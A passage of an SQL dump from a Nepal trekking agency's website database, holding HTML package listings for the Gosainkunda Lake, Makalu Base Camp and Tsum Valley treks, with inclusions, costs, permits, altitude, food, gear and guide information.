Lirung (7,245m) with more silver Mountains can explore from here.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">athmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Dhunche drive by Private Jeep (before trek)&nbsp;</li><li style=\"list-style-type:circle;\">Dhunche to Kathmandu drive by Private Jeep (after trek)</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Gosainkunda Lake Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Langtang National Park Permit, TIMS and All document for Gosainkunda Lake Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Gosainkunda Lake Trekking</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult trek to Gosainkunda Lake? &nbsp;You do not need to be a good Football player or Olympic athlete to success Gosainkunda Lake trek. Anyone who is mentally and physically fit can easily completer the journey to Gosainkunda. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach EBC with happy mood are the hallmarks of your successful journey to destination. Though, Gosainkunda Lake is moderate trekking trail having steep hills with zigzagged path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking EBC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Gosainkunda Lake, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Gosainkudna Lake.</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Gosainkunda Lake, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Everest Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Gosainkunda Lake, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Gosainkunda Lake. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or waterfall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommended to drink 2-3 liters per day.&nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><h2 style=\"text-align:justify;\">Hire a Guide</h2><h2 style=\"text-align:justify;\">&nbsp;</h2><p style=\"text-align:justify;\">A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek, Langtang region trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><h2 style=\"text-align:justify;\">Hire a Porter</h2><p style=\"text-align:justify;\">&nbsp;</p><p style=\"text-align:justify;\">Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Kathmandu, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Gosainkunda Lake. There are multiple option for Internet and mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Even the guest houses have WI-FI during the trek to Gosainkunda Lake which is not free, may charge to you.&nbsp;<br><br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trek to Gosainkunda Lake, toilet and shower should be shared by all trekkers due to common Tea houses only with normal beds in the Room. There are the opportunity of attached Room with toilet and Shower in some places; we provide it where possible to get it.&nbsp;<br><br>But during the time of bad weather for example if heavy snow at that time it is hard to get shower in Gosainkunda Lake. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Gosainkunda Lake.</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Gosiankunda Lake. We suggest trekkers to make plan to be covered up to 4,800 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Gosainkunda Lake Trek.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Gosainkunda Lake is located inside Langtang national Park. Trek permit is mandatory during the trek to Langtang Valley. Langtang national park permit cost 30$ per person in which our agency provide it after getting passport size photo and passport copy, connecting with Nepal Tourism Board. TIMS (Trekking Information Management System) is also required for Langtang Valley trek, it cost 10$ per person.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Gosainkunda Lake, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Everest Base Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Gosainkunda Lake.&nbsp;</p><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:circle;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:circle;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:circle;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:circle;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:circle;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:circle;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:circle;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:circle;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:circle;text-align:justify;\">Raincoat&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Camera</li><li style=\"list-style-type:circle;text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)&nbsp;<br>&nbsp;</li></ul>', 'Gosainkunda Lake Trekking | Gosaikunda Lake Trek 10 Days | Gosaikunda Lake Trekking in Nepal 2024', 'Gosainkunda Lake Trekking is a short and easy trekking trail of Nepal, located north part of Kathmandu in Langtang National Park with an elevation of 4,380m. The amazing view of Ganesh Himal 7,422m, Langtang 7,234m, Langtang Lirung 7,245m with more silver Mountains.', 'gosaikunda lake trekking, gosaikunda lake trek, langtang gosaikunda lake trekking, langtang gosaikunda trek 10 days, gosaikunda lake trek 10 days, trekking in nepal, explore nepal, adventure planner, lake trek in nepal, gosaikunda lake trekking permit, gosaikunda lake trekking cost and itinerary', NULL, '2023-07-17 05:42:40', '2024-12-31 06:16:30');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(28, 'Makalu Base Camp Trek', 'makalu-base-camp-trek', '358', NULL, '358,360,361,362,359', 1, '<p style=\"text-align:justify;\">Makalu Base Camp is a remote high-altitude trek, presents an excellent opportunity to encounter high Mountain landscape, indigenous Himalayan settlement, beautiful rhododendron forests, tropical Arun-Barun valley, world’s fifth highest Mountain Mt. Makalu (8,463m), and adventure hike to Makalu Base Camp. The trekking route to Makalu also offers wonderful view of silver Mountains such as Mt. Everest, Mt. Lhotse which is located in Sagarmatha National Park.&nbsp;<br><br>Makalu Base Camp Trek is located in eastern part of Nepal inside Makalu Barun National Park near the border of Sagarmatha National Park. The national park offers world’s highest elevation range of Himalaya such as Mt. Makalu (8,463m), Mt. Chamlang (7,319m), Mera peak (6,654m) and Mt. Baruntse (7,129m). It is recognized as one of the popular place for exploring diversity of plants, the land occupies 25 species of rhododendron, 47 types of orchids and 56 rare plants with animals such as Snow Leopard, Musk deer, Wild boar, Red Panda and Himalayan goat.&nbsp;<br>The lower region of Makalu is occupied with full of Nepal’s national flower called rhododendron forest whereas the higher region grants hanging glaciers, beautiful waterfall, rocky mountain trail and breathtaking outlook of white Himalaya.&nbsp;<br><br>Makalu Base Camp Trek begins with scenic flight from Kathmandu to Tumlingtar which is located 500 km east from Kathmandu and drive to Num village. The beginning part of the trek is engaged with terrace agriculture land inhabited by local settlement of Rai People having warm temperature. Then, the trekking trail ascends through beautiful rhododendron forests which is really exciting if you visit in spring season due to blooming different colors such as red, purple, pink, and white. These beautiful forests are still untouched by modernity that makes your trip remarkable and life time unforgettable.&nbsp;<br><br>We go ahead towards Barun River valley where beautiful glaciers, waterfalls, stonework crags and ethnic Sherpa local people with their unique lifestyle is waiting to us. Finally, we head up to Makalu Base Camp which is the main highlight of this trek having spectacular views of Silver Mountains Peaks. After finishing trek, we fly back to Kathmandu from Tumlingtar.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">Highlights&nbsp;</h4><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Scenic flight from Kathmandu to Tumlingtar&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Explore local settlement of Rai and Sherpa People and their unique lifestyle.</li><li style=\"list-style-type:circle;text-align:justify;\">Hike through beautiful rhododendron forests and beautiful Arun - Barun Valley</li><li style=\"list-style-type:circle;text-align:justify;\">Visit Makalu National Park, with adventure hike to Makalu Base Camp</li><li style=\"list-style-type:circle;text-align:justify;\">Encounter the attractive Himalayan sights such as Mt. Makalu (8,463m), Mt. Chamlang (7,319m), Mera peak (6,654m) and Mt. Baruntse (7,129m and Mt. Everest (8,848m)&nbsp;<br>&nbsp;</li></ul>', 'Makalu Base Camp is a remote high-altitude trek, presents an excellent opportunity to encounter high Mountain landscape, indigenous Himalayan settlement, beautiful rhododendron forests, tropical Arun-Barun valley, world’s fifth highest Mountain Mt. Makalu (8,463m), and adventure hike to Makalu Base Camp. The trekking route to Makalu also offers wonderful view of silver Mountains such as Mt. Everest, Mt. Lhotse which is located in Sagarmatha National Park.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport Pickup and drop in Private Transport</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3 star Hotel in Kathmandu with Twin Share including breakfast only.&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Tumlingtar Flight Ticket (Before Trek), Tumlingtar to Kathmandu flight Ticket (After Trek)&nbsp;</li><li style=\"list-style-type:circle;\">Guide flight Ticket Kathmandu-Tumlingtar-Kathmandu (Both way)&nbsp;</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Everest Base Camp Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Makalu National Park Permit, Rural municipality entrance Fee and all documents.&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Makalu Base Camp Trekking</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', NULL, 'Makalu Base Camp Trek | Makalu Trekking Cost / Itinerary 2024', 'Explore on the thrilling Makalu Base Camp Trek and experience breathtaking views of the Himalayas. Our expertly guided tours offer a blend of adventure and culture, making it perfect for trekking enthusiasts. Book your unforgettable journey with Adventure Planner today!', 'Makalu Base Camp Trek, trekking in Nepal, Makalu trekking tours, Himalayan adventure, Adventure Planner, mountain trekking, Nepal travel, Makalu Base Camp Trekking Cost', NULL, '2023-07-17 06:55:43', '2024-12-31 06:33:35'),
(29, 'Tsum Valley Trek', 'tsum-valley-trek', '392', NULL, '392,395,394,393,391', 1, '<p style=\"text-align:justify;\">Tsum valley is located in Nepal-Tibet border of Manaslu region. It is one of the hidden jewelries of Nepal where Guru Rimpoche (Padmasambhava) had visited and Milarepa did meditation in 8th century. Tsum valley is very rich in Tibetan culture having beautiful forests, Old monasteries, Chortens, Gompas, Mani Wall, and stunning view of Himalaya called Ganesh Himal. &nbsp;Tsum Valley is a sacred Himalayan pilgrimage valley of Nepal.&nbsp;<br><br>Tsum is a Tibetan word which signifies bright or colorful, so this place is covered by colorful Tibetan Buddhism. Tsum vally is also known as hidden trek of Nepal due to its classical Tibetan Buddhism, beautiful Pine and Rhododendron forests, Rivers, stunning view of Himalayas, thousands of stone slabs, ancient art, culture, Tibetan unique dialect which is untouched by modernity. This sacred valley presents amazing view of Ganesh Himal, Boudha Himal, and Shringi Himal.&nbsp;<br><br>Hunting and fishing is strictly prohibited in this region where trekkers can see wildlife such as Himalayan Thar &amp; Blue Sheep. Culturally, this valley is very popular having old monasteries such as Rachen Gompa, Mu Gompa, Gompa Lungdang. &nbsp;Old monks chanting mantra by playing praying wheels around Mani wall makes your trip more classical. Tsum valley was opened for foreigners since 2008.&nbsp;<br><br>Many people combine Manaslu Cirucit Trek with Tsum Valley with beginning their trek from Soti Khola after having 6/7-hour drive from Kathmandu. If the trekkers do not have time to go Manaslu circuit, they can even end their trek in Soti Khola after visiting Tsum Valley. The beginning days of the trekking ascend the Budhi Gandaki Valley with dense, forest, terraced filed and local villages. After we leave the main Manaslu ciruit route for the Tsum Valley, unexpectedly trekkers get the peaceful feeling and emotion, entering hidden valley. Trekkers pass through the alpine forest, Icy Rivers and having warm hospitality of Tibean People.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">Highlights</h4><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Amazing view of Ganesh Himal, Sringi Himal &amp; Boudha Himal</li><li style=\"list-style-type:square;text-align:justify;\">Spectacular land of Geography and classical Tibetan Buddhism&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Tha land of Guru Rimpochen and Milarepa who had meditated in Tsum valley</li><li style=\"list-style-type:square;text-align:justify;\">Old Tibetan Buddhist Monasteries, Mani Wall, Chortens, Gompa and attractive traditional villages</li><li style=\"list-style-type:square;text-align:justify;\">Trek to off the beaten path, sacred Himalayan Pilgrimage &amp; Budi Gandaki River</li></ul><p>&nbsp;</p>', 'Tsum valley is located in Nepal-Tibet border of Manaslu region. It is one of the hidden jewelries of Nepal where Guru Rimpoche (Padmasambhava) had visited and Milarepa did meditation in 8th century. Tsum valley is very rich in Tibetan culture having beautiful forests, Old monasteries, Chortens, Gompas, Mani Wall, and stunning view of Himalaya called Ganesh Himal.  Tsum Valley is a sacred Himalayan pilgrimage valley of Nepal.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3-star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Soti Khola drive by Private Jeep (Before Trek)&nbsp;</li><li style=\"list-style-type:circle;\">Dharapani to Besisahar drive by Private Jeep (After Trek) and Besisahar to Kathmandu drive by private Transport.&nbsp;</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Tsum Valley Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Manaslu special permit, MCAP/ACCAP, and all documents for Tsum Valley Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Tsum Valley Trekking</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek Tsum Valley? &nbsp;You do not need to be a good Football player or Olympic athlete to success, Tsum Valley trek. Anyone who is mentally and physically fit can easily completer the journey to Manaslu Circuit. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Tsum Valley with happy mood are the hallmarks of your successful journey to destination. Though, Tsum Valley is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Annapurna Circuit with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Tsum Valley.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Tsum Valley, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Tsum Valley is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Tsum Valley, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. The attached room is possible in low altitude but in high altitude after Manang, there will be very basic Tea house Room with Beds. In some places in Tsum valley section, there is monastic Tea houses.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Tsum Valley. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily. But meat is not allowed to eat in Tsum Valley section due to culture and belief to their tradition. &nbsp;<br><br>Do not drink water from river or waterfall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommended to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knowing as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter</h2><p style=\"text-align:justify;\">&nbsp;<br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Tsum Valley region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Lapu Bensi, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is not available all the way to Tsum Valley. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is 